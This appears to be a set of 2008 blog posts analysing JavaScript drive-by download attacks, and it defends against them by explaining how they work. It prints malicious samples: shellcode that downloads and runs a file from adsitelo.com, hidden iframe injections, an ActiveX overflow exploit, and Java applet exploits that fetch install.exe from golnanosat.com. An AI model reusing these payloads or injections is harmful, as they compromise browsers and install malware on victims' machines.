indentify the name of the corresponding functions:
0000010E dd 0EC0E4E8Eh ; LoadLibraryA (hash)
00000112 dd 0E8AFE98h ; WinExec (hash)
00000116 dd 73E2D87Eh ; ExitProcess (hash)
0000011A dd 5B8ACA33h ; GetTempPathA (hash)
0000011E dd 702F1A36h ; URLDownloadToFileA (hash)
At this point, the shellcode loads urlmon.dll and finds the
function URLDownloadToFileA:
00000037 push dword 0x6e6f
0000003C push dword 0x6d6c7275
00000041 push esp
00000042 call near [esi] ; LoadLibraryA("urlmon")
00000044 mov ebp,eax
00000046 call 0xc4<find_function> ; find_function(urlmon.dll, URLDownloadToFileA)
The shellcode then creates a temporary file (using the GetTempPathA
function), downloads a file from
http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA
function), executes the downloaded file (via WinExec), and finally exits
(ExitProcess).
Not bad for what initially just looked like a long string in a JavaScript script...
June 23, 2008
JavaScript-based attacks are getting more and more sophisticated, thanks
probably to the use of exploit toolkits. Here is an example of a few
days ago. The domain involved was adsitelo.com, which seems to have
been involved in a round of SQL injection attacks.
As a start, it is interesting to note that the domain was (likely)
fast-fluxed. Some of the IP addresses associated with it were
129.118.49.144, 150.254.2.155, 66.40.18.206, 70.244.115.171,
75.71.118.180, 79.94.146.249, 88.107.136.34, 99.234.157.198, and
99.246.193.180.
The initial step of the attack is a redirection: the page
http://adsitelo.com/cgi-bin/index.cgi?ad redirects to
http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000.
Now, if you tried to directly download the landing page, you would be
presented with a 500 error page. The real content, in fact, is reachable only
under two conditions: the User-Agent identifies the browser as Internet
Explorer or Firefox, and the Referer is correctly set.
wget allows us to quickly work around these problems:
$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"
The downloaded document is a JavaScript page:
function X88MxUL0B(U1TaW1TwV, IyxC82Rbo){var c5kJu150o = 4294967296;
var s3KRUV5X6 = arguments.callee;s3KRUV5X6 = s3KRUV5X6.toString();
s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval;
var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();
...
var Cm6B7c5TS = 0;try {s4wL1Rf57(LR8yTdO7t);} catch(e) {Cm6B7c5TS = 1;}
try {if (Cm6B7c5TS) {window.location = "/";}} catch(e) {}}
X88MxUL0B('ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687
...
7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81');
The script consists of two parts: a decryption routine (named
X88MxUL0B) and the encrypted payload (the long string at the end of
the script). There are two things to notice
in the script:
arguments.callee.toString() function to prevent
modification to the body of the decryption routine. location.href property as part of the decryption key,
so that analyses that don't set it correctly will not be able to
reconstruct the malicious payload.
Another interesting feature of the script is that, on successive
requests, the payload was encrypted using different keys, so that it
appeared different.In any case, decrypting the payload is not difficult. I just prepend the following lines to the original script and pass it to Rhino:
location={href:'http://adsitelo.com/cgi-bin/index.cgi?ad'};
eval=print;
The first sets the location.href property as required, the second
prints to the console all the strings passed to the eval function for
evaluation. The result is... another obfuscated script, exactly similar
to the one just decrypted. So, let's apply another round of decryption.
This time, we get a clear-text JavaScript script. The script sets a cookie (probably to show that exploitation is under way) and attempts to perform three attacks. The attacks seem to target vulnerabilities CVE-2006-5820, CVE-2007-5779, and CVE-2007-0015. The Firefox version of the malicious script contains only one attack, probably targeting CVE-2006-0005.
As an example, the code for one of these attacks is:
try {
var AMOoik_m = new ActiveXObject("GomWebCtrl.GomManager.1");
if (AMOoik_m) {
Exhne69P();
var Amce264J='';
var dHSLlQxf = 506;
for(var M13B4SOH=0;M13B4SOH<dHSLlQxf;M13B4SOH++)
Amce264J += "A";
Amce264J += unescape("%0c%0c%0c%0c");
dU578_go(13);
AMOoik_m.OpenURL(Amce264J);
}
} catch(e) {
}
The function dU578_go sets a cookie. The function Exhne69P uses heap
spray techniques to actually complete the exploit. But this is material
for another post :-)
April 14, 2008
Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.
Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...
The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.
In our case, the injecting page contains two injections.
The first injection uses the unescape function to cover its purpose:
document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));
Once decoded, the escaped string reads:
<IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' +
Math.round(Math.random()*30295)+'4f5b' width=83 height=365
style='display:none'></IFRAME>
The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:
function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8<
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");
To quickly recover the code, I redefine the document
object to print to the console (document={write:print}) and run the
script in
rhino:
<iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
width=1 height=1 style="display:none"></iframe>
A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.
It turns out that the first iframe points at an empty page: it must have already been taken down.
The second iframe is more interesting: it spits out a 302 response to
redirect to http://vipasotka.com/in.php (119.42.149.22), which, in
turn, redirects to http://golnanosat.com/in.php (same IP address).
in.php is also variously scrambled, but the (now) usual deobfuscation
step in rhino allows us to quickly make sense of it. This file generates
another somewhat obfuscated JavaScript snippet. After some inspection
and some googling, the script appears to be divided in two parts. The
first part is essentially a JavaScript rewrite of metasploit's
exploit for MS06-014: the code
tries very hard to download (via XMLHttpRequest) the executable
install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to
add it to the startup programs, and to run it. The exploit code is
IE-specific and goes to great lengths to "support" a number of different
Windows versions.
The second part brings a bag of Java tricks into the picture.
<applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
try {
var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
var unsafe=unsafemeth.invoke(unsafemeth,null);
document.maniman.foobar(unsafe);
var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
var chen=unsafe.allocateInstance(chenref);
chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
chen.setUname("5010");
chen.setCID("other");
}catch(d){}
<applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
<param name=usid value=us0105>
<param name=linkurl
value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
</applet>
<applet archive="ms03011.jar" code="MagicApplet.class" width=1 height=1>
<param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
</applet>
The first trick uses reflection and the internal sun.misc.unsafe class
to dynamically create a class instance that bypasses the security
restrictions of the Java VM: this seems an old
bug that dates back to 2004. The second one
is recognized by some anti-virus as Java/TrojanDownloader.OpenStream.
The last trick looks like an exploit for another old bug
(MS03-011) that affected the ByteCode
Verifier of the Microsoft VM. In all cases, the goal is to download
and execute the usual install.exe file.
The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.
I'll conclude the analysis with some quick considerations: